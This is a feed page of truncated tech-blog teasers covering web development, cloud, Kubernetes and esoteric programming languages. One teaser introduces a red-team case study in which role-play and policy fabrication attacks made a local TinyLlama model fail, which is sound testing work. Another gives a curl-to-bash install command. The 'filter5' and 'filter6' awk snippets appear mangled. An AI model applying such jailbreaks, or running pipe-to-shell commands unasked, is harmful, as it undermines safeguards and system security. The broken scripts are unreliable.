    GitHub Home As a veteran with 40 years of development experience, I've experienced a long evolutionary history of fighting errors in the Node.js world. Early Node.js developers all remember the fear of being dominated by "pyramids." This "error-first" callback style is theoretically feasible, but as business logic becomes more complex, the code extends infinitely to the right, forming an unmaintainable "death pyramid." The emergence of Promise rescued us from callback hell. We could use .then() and .catch() to build a flatter, more readable async chain. This was much better! But new problems arose. If you forgot to return the next Promise in a .then(), or forgot to re-throw an error in a .catch(), the chain would continue executing in an unexpected way. async/await allows us to write async…  ( 9 min )
    I Fixed My WooCommerce Store's Embarrassing Account Page (Without Writing a Single Line of Code)
    Last week, a customer emailed asking if my store was "still in business" because the account dashboard looked "kind of abandoned." That stung. I'd spent $2,000 on a custom theme and countless hours perfecting the product pages, but the moment customers logged into their account, they saw what basically looked like a WordPress admin panel from 2012. The worst part? I knew it was bad. I'd been ignoring it for months. If you're running a WooCommerce store and feeling that same embarrassment every time you think about your account dashboard, this tutorial is for you. I'm going to show you exactly how I transformed mine in under 30 minutes without writing any PHP, editing any template files, or risking a single "white screen of death." Before we get into the fix, let's talk about why this matte…  ( 11 min )
    SQL: CsvPath vis-a-vis SodaCL
    Let's have some more fun with comparing and contrasting schema languages. In this post we'll look a schemas + rules-based validation tool, Soda, vis-a-vis CsvPath Framework's CsvPath Validation Language. SodaCL is the validation rules language for the Soda data quality library. You can learn more at soda.io. I'll say right up front that this is an apples-to-oranges comparison. Here's why: Soda is mainly relational data focused; CsvPath Framework is mainly files focused Soda is a data quality tool; whereas, CsvPath Framework is for data preboarding, which includes data quality, but isn't limited to it SodaCL is a domain-specific language built on YAML that uses embedded SQL; CsvPath Validation Language is a first-class stand-alone validation language, more similar in that regard to DDL o…  ( 9 min )
    Stepping Out of the Comfort Zone - Plan for the Final Stretch
    The Journey So Far Python data ecosystem. In previous releases (0.1 through 0.3), I focused heavily on data engineering and machine learning libraries. I had the opportunity to contribute to Dagster, scikit-learn, and NumPy. These experiences were invaluable. I learned how to navigate complex C-extensions in NumPy, understood the orchestration logic in Dagster, and worked through to the strict code standards of scikit-learn. However, I felt this is another time to move out of the box one more time and push me to the new world. Bridging Data and Application Before I jump into anything, I asked myself: Where do I want to be as a developer? I have some background in data processing, but I want to strengthen my skills in building the applications that utilize this data. I want to bridge the ga…  ( 7 min )
    Case Study: Red Teaming TinyLlama on a Raspberry Pi 5
    Introduction: From Docker Woes to LLM Jailbreaks This case study details the technical journey of setting up a local, self-hosted Large Language Model (LLM)—TinyLlama—on a Raspberry Pi 5 using Ollama and Open WebUI. It culminates in a red team exercise where the model's safety and integrity are tested against common prompt injection and hallucination attacks. The exercise proved that while the model is technically resilient in some areas, it fails catastrophically when subjected to role-play and policy fabrication attacks. The initial goal was simple: get a web UI running for TinyLlama. The primary challenge was wrestling with Docker networking on a Linux host (the Pi). Technical Setup: Hardware: Raspberry Pi 5 (8GB) LLM: TinyLlama (700M parameters) Runtime: Ollama (Docker Container, Por…  ( 8 min )
    ASP.NET Core Route Names & API Versioning — From “Duplicate Name” Crash to Intentional Routing
    Most .NET developers first meet ASP.NET Core attribute routing in a happy path like this: [ApiController] [Route("api/[controller]")] public class CategoriesController : ControllerBase { [HttpGet("{id:int}", Name = "GetCategory")] public IActionResult GetCategory(int id) { ... } } Hit F5, the app runs, CreatedAtRoute("GetCategory", ...) works, and everything feels good. Then one day you add API versioning and suddenly your app dies on startup with something like: Attribute routes with the same name 'GetCategory' must have the same template This post will walk you through: What this error really means. Why it appears as soon as you start versioning controllers. Three clean ways to fix it (including when each one makes sense architecturally). How to design versioned routes and route…  ( 12 min )
    CinemaSins: Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less
    Everything Wrong With The Fantastic Four: First Steps In 20 Minutes Or Less is a Cinema Sins video that gleefully points out every nitpick and “sin” in the new Fantastic Four movie—drops a few jokes, spoils some moments, and ultimately declares it “sintastic” rather than outright terrible. It kicks off with a shout-out to sponsor BetterHelp (discount link included), because even sin-counting can be stressful. On top of the main feature, Cinema Sins plugs their website, Linktree for all the latest updates, YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), a sinful viewer poll, Patreon support, and social hangouts (Discord, Reddit, Instagram, TikTok). Writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel all get a nod in the credits. Watch on YouTube  ( 6 min )
    Building My Personal Website: From Idea to Automated Deployment (Part 1)
    The idea of creating my own personal website—a place where I could share projects I'm working on and document my technical journey—has been on my mind for a long time. But as with many personal projects, it kept getting pushed aside. Finally, I found the time, and here it is: mikula.dev. In this post, I want to share how I built it, what tools I chose, and why. When looking for a site generator, I had a few requirements in mind: it needed to be simple yet flexible, fast, and shouldn't require hours of configuration just to get started. After evaluating several options, I settled on Hugo. Hugo is one of the fastest static site generators out there. Written in Go, it can build thousands of pages in seconds. But speed isn't the only advantage—it generates pure static HTML files, which makes h…  ( 9 min )
    Introducing gitresume, an open-source cli tool for building résumé with LLM support
    One of the challenges I’ve faced in the past is keeping track of my contributions across different projects, teams, and companies. When it’s time to update my résumé during a job search, it often turns into a struggle to recall what I’ve recently accomplished. This is why I built Gitresume, a tool that helps me: Keep track of my contributions Create résumés with AI assistance Gain insights from my Git commits Export my résumé in multiple formats To get started, visit https://gitresume.app and follow the installation instructions. Mac OSX $ brew tap iamhabbeboy/homebrew-tap $ brew install iamhabbeboy/tap/gitresume Linux curl -sL https://raw.githubusercontent.com/iamhabbeboy/gitresume-cli/main/install.sh | bash Windows choco install gitresume --version=0.1.0 To create a résumé, start the Gitresume server using the command below. $ gitresume Usage: gitresume [command] Available Commands: ai Test AI integration help Help about any command init Initialize gitresume config seed Seed your commit messages serve Web dashboard for managing your resumes Flags: -h, --help help for gitresume Use "gitresume [command] --help" for more information about a command Then start the server using $ gitresume serve 🚀 Starting dashboard on http://localhost:4000 ✨ Build your resume visually... Next, open your browser and navigate to the dashboard URL. From there, click on Resumes. Click Create Resume to begin You can now start editing the form and customizing your résumé Check out the full demo on how to create your résumé with Git activity + AI support  ( 7 min )
    The Secret Life of Go: Arrays and Slices
    Chapter 4: Collections and the Art of Growing Lists Thursday morning brought rain. Ethan arrived at the archive shaking water from his jacket, balancing a coffee tray and a small pastry box. Eleanor glanced up from her laptop. "Wet out there?" "November in New York." He set down the coffees and opened the box. "Rugelach today. Chocolate and cinnamon." "You're learning the neighborhood." She took one and bit into it. "What made you choose rugelach?" "The baker said they're good for thinking. Something about the layers." Eleanor smiled. "Layers. Perfect. Today we're talking about collections—how to store multiple pieces of data. And yes, there are layers to this story." She opened a new file. "Tell me, Ethan. If I asked you to store five numbers, how would you do it?" "Five variables?" "Yo…  ( 12 min )
    5 Ways to Reduce PDF File Size Without Losing Quality
    Large PDF files are annoying to share and slow to open. Here are proven methods to compress your PDFs while maintaining quality. High-resolution images inside Embedded fonts and metadata Multiple scanned pages Original file size Use PDFSmartly: Go to https://pdfsmartly.com Upload your large PDF Compression happens automatically Download compressed version Most PDFs reduce 50-80% without visible quality loss. File → Save As → Reduced Size PDF Open PDF → Tools → Quartz Filter → Reduce File Size If PDF has lots of images, they're taking space. Remove or use lower resolution. Open PDF in browser Print → Save as PDF Usually compresses automatically 100MB file → 20-30MB compressed 50MB file → 10-15MB compressed 10MB file → 2-5MB compressed No visible quality loss for most documents. pdf, compression, productivity, how-to, tutorial  ( 6 min )
    Building Reliable Stripe Subscriptions in NestJS: Webhook Idempotency and Optimistic Locking
    Subscriptions power modern SaaS apps, but integrating payment providers like Stripe requires handling webhooks reliably. In a recent commit to the CommitLore backend, I implemented a full subscription system using Stripe. The standout technical choice was ensuring idempotent webhook processing to avoid duplicate updates during retries or failures. This approach uses a dedicated webhook_events table to track Stripe events and optimistic locking on the subscriptions table to prevent race conditions. It's a practical pattern for any NestJS app dealing with external async events. Let's break it down. Stripe webhooks notify your server of events like subscription upgrades, cancellations, or payment failures. But networks are unreliable—events can arrive multiple times, out of order, or during d…  ( 8 min )
    Ship ComfyUI on RunPod (Dev-Friendly): Cloud GPU, models, and zero local setup
    What we’re building A browser-based ComfyUI workstation running on a rented GPU (RunPod), preloaded with your favorite models and custom nodes, with no local installs. You’ll: Launch a GPU pod with the official ComfyUI template Install models LoRA/custom nodes the fast way (copy/paste one-liner) Restart ComfyUI cleanly and verify everything works Pull images off the pod and keep costs in check If you like command-line control, I added optional CLI and debugging bits along the way. Pick a GPU (3090 is great for learning; 5090 is fast if you need speed) Use the RunPod ComfyUI template (no manual installs) Enable the Web Terminal and paste a deployment one-liner from Prompting Pixels Set Hugging Face and Civitai API tokens before running the script Restart ComfyUI from Manager inside the UI…  ( 9 min )
    Change the Color of the Production Environment Screen
    Development environment, staging environment, production environment—it's common to switch between multiple environments. The most critical mistake to avoid is performing actions intended for the development environment in the production environment. As humans, we make mistakes. However, tightening checks excessively can make daily operations cumbersome. AI is still not entirely reliable. So, what should we do? Let's rely on human intuition: color. I refer to this as the Production Color. You should apply a color that clearly indicates it's the production environment. Red is often a good choice. The color change uses client-side features (browser-side). You can use a script engine like Tampermonkey or develop a custom extension. Which part of the screen to change depends on the environment, but you could either fill the entire background or just the header. Of course, you can create this with AI. It may be tedious to customize for each environment, but compared to the effort of fixing mistakes in the production environment and the stress of straining yourself to avoid such mistakes, it's worth it. No more excuses—let's get this done quickly.  ( 6 min )
    Android Storage Complete Guide: Internal Storage vs External Storage (Part 1)
    While working on an Android app, persisting data is a common use case. Take a simple example: an app that supports light and dark themes. If a user toggles between both, we need to remember this preference across lifecycle changes, like when the app is closed and reopened. This theme-setting example highlights a common challenge: choosing the right storage mechanism. Which storage mechanism fits our specific needs while balancing performance, persistence, and security? In this article, we will introduce the two storage areas available to us in Android: internal and external storage. Android separates storage into app-specific (private to the app) and shared storage (visible to other apps). The terms private and shared are not only about encapsulation; they also relate to where files live i…  ( 8 min )
    You SHOULD derive your state in React
    Topic is not new but the more I work this concept is forgotten and rediscovered all over again. Your component can be small and swift, but it becomes doing more and more. Apply now this easy rules and thanks me later. Deriving state is computing value based on the data we already have. This means figuring out a value based on props or state we already have.  Good, deriving value from data When you're setting state you manage multiple source of data. This involves syncing the value and state between each other. You doing ping-pong game to reflect user changes into data and data into interface. Bad, setting value independently Let’s see how state is usually set and how we can avoid such situation in React. Sample setting state react code: // ❌ Bad! Setting state function Component(props)…  ( 7 min )
    Unknown Unknowns (Bite-size Article)
    Introduction When you work on a long-term project, you may have experienced situations like: Something unexpected happens and the project drifts far away from the original plan You start a task and suddenly encounter unforeseen issues, which create even more tasks These are what we call “Unknown Unknowns.” The term dates back to a 2002 press briefing by U.S. Secretary of Defense Donald Rumsfeld. In response to questions about whether Iraq possessed weapons of mass destruction, he explained that information falls into three categories: Known Knowns: things we know Known Unknowns: things we know we don’t know Unknown Unknowns: things we don't even realize we don't know He emphasized that the last category is the most troublesome—risks that come from outside our predictions can easily …  ( 7 min )
    Stop fighting your build tools. Meet AtomAttr.
    For years, frontend development has been dominated by the build step. Webpack, Rollup, Vite, PostCSS... the list goes on. While tools like Tailwind CSS revolutionized how we style apps, they introduced a heavy dependency on Node.js environments. If you are a backend developer (PHP, Python, Go) or just want to prototype a quick idea, setting up a full frontend toolchain feels like overkill. I asked myself: What if you could just write HTML? So I built AtomAttr. AtomAttr is a runtime CSS engine. Instead of compiling your CSS at build time, it compiles it in the browser, instantly. It uses a MutationObserver to watch your DOM and injects atomic CSS rules only for the attributes you actually use. It weighs less than 10kb, has zero dependencies, and requires no config. You drop one script tag i…  ( 7 min )
    filter6
    #!/bin/bash if [ -z "$1" ] || [ -z "$2" ]; then echo "Usage: $0 [delimiter]" exit 1 fi DATE_COL="$1" DAYS="$2" DELIM="${3:--}" # FIXED: go BACK in time, not forward! CUTOFF=$(date -d "$DAYS days ago" +%s) awk -v col="$DATE_COL" -v cutoff="$CUTOFF" -F"$DELIM" ' function month2num(m) { return (index("JanFebMarAprMayJunJulAugSepOctNovDec", m) + 2)/3 } { if (NF = cutoff) print } '  ( 6 min )
    Cooked this Paperfolio template with V0 | Here’s the template you can use for free
    Cooked this Paperfolio template with V0 | Here’s the template you can use for free I’ve been experimenting with V0 - by Vercel, and I rebuilt the popular Paperfolio layout originally created by Brix Templates. → Template (Clone / Remix): → Live Preview: → Watch the walkthrough on X: Clean portfolio with hero section and highlight-style text blocks Minimal, bold layout focused on showcasing your work Reusable components built directly in V0 Easy to customize for personal portfolios or client sites Open the template → https://v0.link/paperfolio Click on “Open in V0” Make your styling tweaks Deploy on Vercel That’s it — you have a clean, modern portfolio site ready to ship. If you end up customizing this, I’d like to see what you build.  ( 7 min )
    Kubernetes architecture for a video streaming app at 1 million users
    big awesome problem.... We’ll try to create a compact, practical Kubernetes architecture for a video streaming app at 1 million users, plus clear design choices, components, scaling patterns, and rough capacity guidelines. We’ll also call out assumptions up front to pick the path that matches the traffic pattern. Assumptions (pick the one that matches you) I must assume something because “1 million users” could mean many things: Option A - 1M total registered users, low concurrency: ~10k concurrent peak. Option B - 1M active users, moderate concurrency: ~100k concurrent peak. Option C - 1M concurrent users (extreme): design is close to CDN-first, multiple large clusters, heavy multi-region infra. So lets focus on Option B (100k concurrent) as a realistic high-scale target (and als…  ( 9 min )
    Kubernetes : Your Ultimate Cheatsheet
    Mastering Kubernetes means mastering kubectl. This guide contains every important Kubernetes commands from basics to SRE-level advanced debugging. These are not the usual “kubectl get pods” basics but deep cut commands for debugging, networking, performance, API calls, manifests, and cluster internals. Perfect for DevOps engineers, SREs, Kubernetes admins, and more. Basic Commands Pods Deployments Services ConfigMaps & Secrets Persistent Storage Namespaces Logs & Debugging Rollouts & Scaling RBAC Node Commands Cluster Info Cleanup Productivity Tricks Advanced Commands (SRE Level) Full Printable Cheat Sheet kubectl version kubectl cluster-info kubectl get nodes kubectl get all kubectl api-resources kubectl api-versions kubectl describe node Kubernetes is used when it needs to run …  ( 11 min )
    Announcing AWS CDK Mixins (Preview): Composable Abstractions for AWS Resources
    by Michael Kaiser and Momo Kornher We are excited to announce the developer preview of CDK Mixins, a new feature of the AWS Cloud Development Kit (CDK) that fundamentally changes how developers compose and reuse infrastructure abstractions. CDK Mixins enable you to apply sophisticated features to any construct whether L1, L2, or custom without being locked into specific implementations. This new mechanism addresses one of the most persistent challenges in infrastructure as code: the tension between comprehensive AWS coverage and sophisticated abstractions. The AWS Cloud Development Kit (CDK) is an open-source software development framework for defining cloud infrastructure in code and provisioning it through AWS CloudFormation. It contains pre-written modular and reusable cloud components …  ( 9 min )
    Putting Codex To Task
    I’ve been putting OpenAI’s Codex coding assistant to task. Literally. Codex and I put together a task management system for the open source application DepanFx. The launch customer for these features was asynchronous file loading, a point of notable lag. The new capabilities avoid locking the UX loop, and provide an acceptable UX for notification and tracking of task execution. Before we were done, asynchronous file loading was also added to the session startup execution path. With Codex’s help, I was able to add asynchronous file loading, with robust task management support, in roughly 4 days. All in, including a few more days of expanded functionality and other cleanup, Codex and I were able to bring up almost four thousand lines of new task management software. This development fel…  ( 10 min )
    filter5
    awk -F'~' -v col="$DATE_COL" -v cutoff="$CUTOFF" ' function month2num(m) { return (index("JanFebMarAprMayJunJulAugSepOctNovDec", m) + 2)/3 } { if (NF = cutoff) print }'  ( 6 min )
    My fun christmas project for this year
    North Pole Library – Technical Overview https://northpolelibrary.eu 1. Executive Summary North Pole Library is a modern, AI-powered web application that allows users to create personalized Christmas stories for children. The platform leverages a sophisticated stack of cloud services, generative AI models, and automation workflows to deliver a seamless "text-to-storybook" experience. Users provide basic details (child's name, age, theme), complete a secure payment, and receive a fully illustrated, narrated, and interactive digital storybook within minutes. 2. Architecture & Technology Stack The system is built on a Serverless Architecture, utilizing a decoupled frontend and an event-driven backend orchestrated by n8n. Frontend Application Core Framework: UI/UX: State Management: React Context API handles global application state, such as multi-language support (English/Hungarian) and user session data. Supabase serves as the backend-as-a-service (BaaS) layer, providing: PostgreSQL Database: The stories table acts as the central source of truth, storing: User inputs (Child's name, age, theme). Order status (pending_payment, processing, completed). The structured JSON content of the generated story. Object Storage: Realtime/Polling: 3. Core Workflows & Automation A. Payment & Initiation Flow B. The "Magic" Generation Pipeline (n8n) Data Retrieval: The workflow fetches the pending story details from Supabase using the ID from the payment event. AI Image Generation: Asset Management: Finalization: C. Delivery 4. Key Features Summary Scalability: The use of serverless functions (Supabase) and async workflows (n8n) allows the system to handle high traffic volumes during peak holiday seasons without infrastructure management. Demo: https://www.youtube.com/watch?v=NDbKKT3fqOI  ( 8 min )
    AWS SAA to Security Clearance: My Path to Federal ISSO Roles
    Just passed AWS Solutions Architect Associate on my first attempt. But this isn't another "I passed!" post - it's about leveraging cloud security expertise for federal defense contracting ISSO roles in Huntsville. Compliance frameworks (NIST 800-171, CMMC, RMF) The AWS SAA provides the foundation, but federal work demands more. HIPAA compliance → NIST 800-171 understanding The Federal Credential Stack I'm Building AWS Solutions Architect Associate (Nov 2025) Next: CMMC Registered Practitioner (Jan 2026) Federal Cloud Resume: joshuahall.tech S3 static website CloudFront CDN Lambda visitor counter Federal Cloud Resume adds: NIST 800-53 control mapping CloudTrail logging with integrity validation IAM least privilege documented Encryption at rest and in transit Why ISSO Roles Information System Security Officers bridge technical implementation and compliance frameworks. With 3.25 years of hands-on security operations and zero ransomware incidents across fully managed clients, I have the operational foundation. CMMC enforcement began November 2025. The Defense Industrial Base has 350,000+ companies, roughly 70,000 needing Level 2 certification, and only about 450 currently certified. Security professionals who understand both cloud architecture and compliance frameworks are in demand. Connecting at AWS re:Invent I'll be at re:Invent (Dec 1-6) targeting defense contractors with Huntsville presence: Torch Technologies If you're in defense contracting, let's connect. February 2026: Start ISSO role in Huntsville While others chase FAANG, I'm focused on protecting national security infrastructure in Huntsville's defense ecosystem. Current status: AWS SAA, Security+, CMMC CCP. 3.25 years security experience. Zero ransomware incidents across all fully managed clients. Relocating to Huntsville February 2026. LinkedIn.  ( 7 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    TL;DR CinemaSins has dropped their grand finale “Everything Wrong With Mission: Impossible – The Final Reckoning In 27 Minutes Or Less,” roasting Tom Cruise’s death-defying stunts and poking fun at how the series “maybe lost its way” in the last couple of films. They also plug their site, poll, Patreon and social channels (YouTube, Twitter, Instagram, TikTok, Discord, Reddit), plus shout out their writers and even Jeremy’s new book—so you can keep the sins coming long after the credits roll. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    The Sorcerer’s Apprentice – Caravan of Garbage Modern Disney’s in a weird spot: their blockbusters like Marvel and Star Wars aren’t sticking the landing, and fresh ideas like Wish and Elio are barely making a ripple. To commemorate Disney’s knack for colossal flops, the hosts of The Weekly Planet are rolling out a mini-series dissecting four massive live-action disasters—kicking off with 2010’s The Sorcerer’s Apprentice, featuring Nicolas Cage, magical showdowns and one unforgettable giant bird. Want more? Head over to bigsandwich.co for early videos, bonus podcasts, commentaries and Let’s Plays, or grab the extended audio edition on YouTube. Don’t forget to follow James and Maso on Twitter, subscribe on your fave podcast platform, and check out their merch at Teepublic! Watch on YouTube  ( 6 min )
    Taming the "God Component": A Framework-Agnostic Guide to the Component Responsibility Score (CRS)
    Hello fellow front-end engineers! These overly complex components—the "God Components"—violate the fundamental principle of Single Responsibility. They handle too much state, too much logic, and too many concerns. This leads to codebases that are frustrating to work with, slow to test, and expensive to maintain. The Component Responsibility Score (CRS) is a custom, data-driven metric used to quantify how complex and overly scoped a front-end component is. It acts as a health check for component architecture, providing an objective number that signals when a component must be broken down. The goal is simple: The beauty of the CRS is that it focuses on structural and logical properties, not specific API calls (like useState vs. data()). This makes it universally applicable. The Four Pillars…  ( 8 min )
    Building an AI-Powered Semantic Talent Matching System
    Using MongoDB Atlas Vector Search + OpenAI Embeddings By Emmanuel Ifeanyi Mechie This document explains how I built a fully semantic, AI-powered talent matching system using: MongoDB Atlas Vector Search OpenAI text-embedding-3-small Node.js + TypeScript The system solves the limitations of traditional keyword matching by using high-dimensional vector embeddings to understand the meaning behind job requirements and user skills — enabling semantic candidate-job matching with high accuracy and drastically improved performance. The previous approach used simple keyword matching: ❌ "React Developer" only matched profiles with the exact phrase ❌ "Problem solving" ≠ "Analytical thinking" ❌ Recruiter results returned irrelevant profiles ❌ Matching time was ~12 seconds I redesigned the matchin…  ( 10 min )
    🦀 Reqwest vs. Deboa: Which Rust HTTP Client is Right for Your Project?
    When building modern applications in Rust, an efficient and reliable HTTP client is essential. Two popular choices in the Rust ecosystem are reqwest and deboa. While reqwest is the long-standing, feature-rich powerhouse, deboa is emerging as a compelling, lightweight alternative. This post dives into their key differences, with a focus on performance and suitability for different use cases. reqwest is often considered the de-facto standard for asynchronous HTTP requests in Rust. It's built on top of the powerful hyper library, which provides the underlying HTTP implementation. Key Design: A high-level, easy-to-use API that provides both blocking and asynchronous modes. It's designed for completeness, offering extensive features like JSON serialization/deserialization, redirects, cookie han…  ( 8 min )
    AWS open source newsletter, #216
    Edition #216 - November 2025 Welcome to issue #216 of the AWS open source newsletter, the newsletter where I try and provide you the best open source on AWS content. re:Invent is just around the corner, and this months edition has a lot of great pre:Invent stuff, and I can't wait to see what other open source stuff gets announced. Some readers may be heading to re:Invent (or maybe already there), so enjoy the week. In this months edition we have a nice selection of projects from making it easier to use integrate with MCP Servers, a new Python framework that simplifies infrastructure management, managing credentials for local development, a couple of developer experience improvements for serverless developers, a new way to PySpark like code on Anthena, as well as the usual round up of c…  ( 30 min )
    Fast Laravel Pages with Nginx Caching and Progressive Rendering
    Liquid syntax error: Variable '{{% raw %}' was not properly terminated with regexp: /\}\}/  ( 6 min )
    Regex in web server applications
    Regex (REGular EXpressions) is commonly used in command-line tools, such as grep or sed, in order to search for a pattern or to search and replace a pattern. Regular expressions are a powerful tool whenever there's a "free form" string that needs to be analyzed, or an input from a source that may or may not provide exactly formatted input. Regex is perfect to extract useful bits and pieces from it. In RimStone, Regex is a built-in feature via match-regex statement. Here's an example of using it in a server application: // Use backreferences to swap two words, // with "Reverse order word" as a result match-regex "(word)\\s+(order)" \ in "Reverse word order" \ replace-with "\\2 \\1" \ result res print-out res new-line RimStone regex has a powerful "cache" clause which allows for regex pattern to be parsed once into a binary representation and used over and over without parsing again. In our tests, this often results in five times (5x) or more speed up! This makes it perfect for server applications where performance is paramount. RimStone is overall built for performance, with LTO (Link Time Optimization) built-in across the board, and with generated C code used to create high-performance native applications. No Virtual Machines, no p-code, just native executables. On top of that, RimStone is a memory-safe language. The full regex example, with detailed instructions, can be found here.  ( 6 min )
    How Airflow Physics Explains Dust Accumulation Indoors
    Walk through your house on a sunny afternoon and you’ll see it: thin beams of light catching thousands of floating specks that weren’t visible a second earlier. That’s not “dirty air.” It’s physics in motion. Every home operates like a small particle system where air moves, slows, collides, rises, sinks, and drops microscopic matter into the places you later have to clean. Dust doesn’t settle randomly. It follows the rules of airflow, temperature differences, pressure zones, humidity, and friction. When you understand those rules, dust becomes predictable, not mysterious. If you live in a dry, dusty region, the effects are even stronger. The principles below apply in every climate, but they show up faster where heat, HVAC usage, and outdoor particulate levels are high. For a deeper look at…  ( 9 min )
    Stop paying for databases: I built a Type-safe Google Sheets ORM (Prisma-style)
    The Problem: "I just need a simple database..." We've all been there. You are building a side project, a prototype, or a simple CMS for a client. You need a database, but: Postgres/MySQL feels like overkill (and costs money/effort to host). SQLite is great but hard to share with non-tech clients. Google Sheets is perfect for clients, but the API... well, the API returns untyped arrays (row[0], row[1]), which is a nightmare to maintain. I wanted the developer experience (DX) of Prisma but with Google Sheets as the backend. So, I built TarangDB. TarangDB is a lightweight, type-safe ORM for Node.js and Bun. It turns your Google Sheet tabs into relational tables with a syntax you already know and love. Key Features: ✨ Prisma-like Syntax: findMany, create, where, include. 🛡️ Type-safe: Au…  ( 8 min )
    Fast and Furious, the missing modem.
    It's been awhile coming but we finally got set up with gig internet. Speeds have been ok before but we needed better speed for streaming and deployment. It's rough to code then suffer through slow upload speed. Tech called shortly before the Dads in Tech meet up. Unfortunately the meeting was in middle of the tech's arrival window. I was hoping to join but knew I couldn't cause he would need attention. Hoped it would be a quick install and I could catch the end of the meeting. It was not quick. The tech comes to the door and asks, "Did they ship you modem?" "No." "They were suppose to ship you a modem, an enterprise one." I knew that was wrong. He said "I'll go out to truck call manger then call you in 5 to 10 minutes." While he was in truck I checked the appointment email and texts …  ( 11 min )
    📌 Factor — The Stack-Based Language Built Around Words, Quotations, and Combinators
    What is Factor? Factor is a modern stack-based programming language inspired by Forth, but redesigned to be more expressive, modular, and practical. Instead of writing procedural stack operations with minimal structure, Factor introduces higher-order functions, quotations (anonymous stack functions), a rich standard library, and a powerful interactive development environment. Factor attempts to make stack programming feel high-level and ergonomic without sacrificing the low-level control and simplicity that stack languages are known for. Language Type: Stack-based functional language Released: 2003+ (ongoing development) Creator: Slava Pestov Paradigm: Concatenative, functional, interactive Execution Model: Compiled + runtime VM Typing: Dynamic Primary Use: Language experimentation…  ( 7 min )
    Designer Wear for Women: A Celebration of Style and Craftsmanship
    Designer wear for women stands at the intersection of fashion, art, and personal expression. It embodies not just clothing, but a lifestyle that celebrates elegance, innovation, and individuality. These carefully curated collections bring together creative vision and skilled craftsmanship, offering pieces that resonate with women who appreciate quality and style beyond fleeting trends. What makes designer wear so captivating is its blend of exclusivity and superior quality. Unlike mass-produced fashion, designer pieces are often limited in number and crafted with meticulous attention to detail. This exclusivity lends a sense of luxury and uniqueness, allowing women to stand out with outfits that are as distinctive as they are beautiful. Designer collections for women encompass a broad spec…  ( 7 min )
    📌 Agda — The Language Where Programs and Proofs Become the Same Thing
    What is Agda? Agda is a dependently typed functional programming language designed not only for writing programs, but for expressing mathematical proofs directly in code. It blurs the line between programming and formal logic—meaning a valid program is also a valid proof. Agda focuses on correctness-by-construction, allowing developers to build software where errors are eliminated through types instead of runtime behavior. It’s heavily used in type theory research, formal verification, mathematical reasoning, and experimental compiler design. Language Type: Dependently typed functional language Released: Early 2000s (active academic development) Creator: Ulf Norell and the Agda research community Paradigm: Proof-driven development, functional programming Execution Model: Compiles via…  ( 7 min )
    📌 Elixir (Script Mode) — The Lightweight Experimental Variant for Running Elixir Like a Scripting Language
    What is Elixir Script Mode? Elixir Script Mode refers to an early and lesser-used execution style of Elixir where the language could be written and executed like a scripting language rather than as part of a compiled OTP project structure. Instead of working inside Mix projects or OTP application design, Script Mode allowed direct execution of .exs files, similar to how Python or Ruby scripts run. This mode existed mainly for experimentation, rapid prototyping, tooling demos, and small automation tasks. While still supported, it never became the primary style of using Elixir, especially once the language standardised around Mix, Phoenix, and OTP-minded architecture. Language Type: Functional scripting (Elixir runtime) Era: Early ecosystem phase (~2014–2017 emphasis) Execution Model: In…  ( 7 min )
    📌 Zig (Alpha Spec) — The Early Experimental Phase Before Zig Stabilized
    What is Zig (Alpha Specification)? Zig (Alpha Spec) refers to the early development phase of the Zig programming language, before the syntax, standard library, and compiler behavior were stabilized. During this stage, Zig was still defining its philosophy: manual control over memory, predictable compilation, and replacing C with safer low-level tooling—without garbage collection or runtime magic. The alpha era featured syntax differences, experimental features, missing standard library components, and compiler instability — making it feel like a raw prototype version of the Zig we know today. Language Type: Low-level systems language Era: Prototype & alpha development (~2016–2019) Creator: Andrew Kelley Execution Model: Compiled (LLVM backend) Typing: Static with strong type guarante…  ( 7 min )
    📌 ReasonML (Old Build) — The Legacy Version Before Rescript Took Over
    What is ReasonML (Old Build)? ReasonML (old build) refers to the earlier form of Reason before the language direction shifted toward ReScript. Originally created by Facebook, ReasonML aimed to provide a JavaScript-friendly syntax on top of OCaml’s powerful type system. The old build existed during the migration phase when syntax, tooling, compiler behavior, and ecosystem conventions were still evolving. In this stage, Reason resembled a hybrid of JavaScript, OCaml, and TypeScript — with the goal of delivering safe typed code while compiling to efficient JavaScript via BuckleScript. Language Type: Typed functional language (OCaml syntax layer) Era: 2016–2020 (pre-ReScript transition) Creator: Jordan Walke (creator of React) Execution Model: Compiled through BuckleScript → JavaScript T…  ( 7 min )
    📌 Glypho — A Language Built from Abstract Symbols Instead of Text
    What is Glypho? Glypho is an esoteric programming language where programs are written entirely using abstract shapes, glyphs, and symbols rather than alphanumeric characters. Instead of words, numbers, or punctuation, the language uses geometric marks such as circles, arrows, strokes, spirals, and shorthand ideograms to represent instructions. The aesthetic resembles ancient writing systems or UI iconography more than traditional programming syntax. Glypho explores what programming looks like when everything meaningful must be communicated visually rather than linguistically. Language Type: Symbol-based esolang Era: Approx. 2016–2020 experimental period Execution Model: Interpreter reads symbols sequentially or spatially depending on variant Paradigm: Stack-based, rule-based, or direc…  ( 7 min )
    📌 MicroTape — A Tiny Tape-Based Language Inspired by Minimal Turing Models
    What is MicroTape? MicroTape is an ultra-minimal esoteric language inspired by the original concept of Turing tape computation. It strips programming down to only a few operations: moving left or right along a tape, modifying a single cell, and optionally printing or halting. The language exists to demonstrate how little machinery is required to achieve full computational behavior, making it a study tool for Turing completeness and extreme language minimalism. To a human reader, programs appear as short symbol sequences rather than structured code. Language Type: Minimalist tape-based esolang Era: Part of the 2010s minimal language movement Execution Model: Single tape, single pointer Memory Model: Single infinite tape of integers or bytes (variant-dependent) Typing: None — values ar…  ( 7 min )
    📌 StackCats — A Stack-Based Language Where Instructions Are Expressed as Cat Behaviors
    What is StackCats? StackCats is an esoteric programming language where all operations are represented as cat-themed commands. Instead of symbols or keywords, instructions mimic cat actions such as pawing, sitting, napping, jumping, or meowing — each corresponding to a stack operation. The language combines the structure of a traditional stack machine like Forth or False with a playful lexical theme centered around feline behavior. Programs often look like a series of cat instructions rather than recognizable code, and part of the appeal comes from the absurdity of reading what appears to be a cute pet diary while actually performing computation. Language Type: Esoteric / stack-based command set Era: Mid-2010s community creation wave Execution Model: Single global stack manipulated by c…  ( 7 min )
    📌 StackCells — A Language Where Each Cell Is Its Own Stack
